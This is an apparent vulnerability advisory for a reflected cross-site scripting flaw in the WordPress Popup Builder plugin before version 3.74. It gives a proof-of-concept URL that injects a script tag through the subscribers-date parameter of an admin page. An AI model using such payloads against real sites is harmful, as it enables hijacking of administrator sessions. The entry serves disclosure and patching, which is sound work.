Popup Builder < 3.74 - Authenticated Reflected Cross-Site Scripting (XSS)
Description
The "All Subscribers" setting page of Popup Builder was vulnerable to reflected Cross-Site Scripting.
Proof of Concept
http://example.com/wp-admin/edit.php?post_type=popupbuilder&page=sgpbSubscribers&sgpb-subscribers-date=%22%3E%3Cscript%3Ealert%28origin%29%3C%2Fscript%3E Video: https://mega.nz/file/H81iGSgC#Ya8zwHd0MuUXaUv61LsRn7HW0wgGOfYN2xvDkWuGCMg
Affects Plugins
Fixed in version 3.74✓
References
Classification
Miscellaneous
Original Researcher
Nguyen Anh Tien - SunCSR (Sun* Cyber Security Research)
Submitter
Nguyen Anh Tien
Submitter website
Submitter twitter
Verified
Yes
Timeline
Publicly Published
2021-02-02 (about 3 months ago)
Added
2021-02-02 (about 3 months ago)
Last Updated
2021-02-03 (about 3 months ago)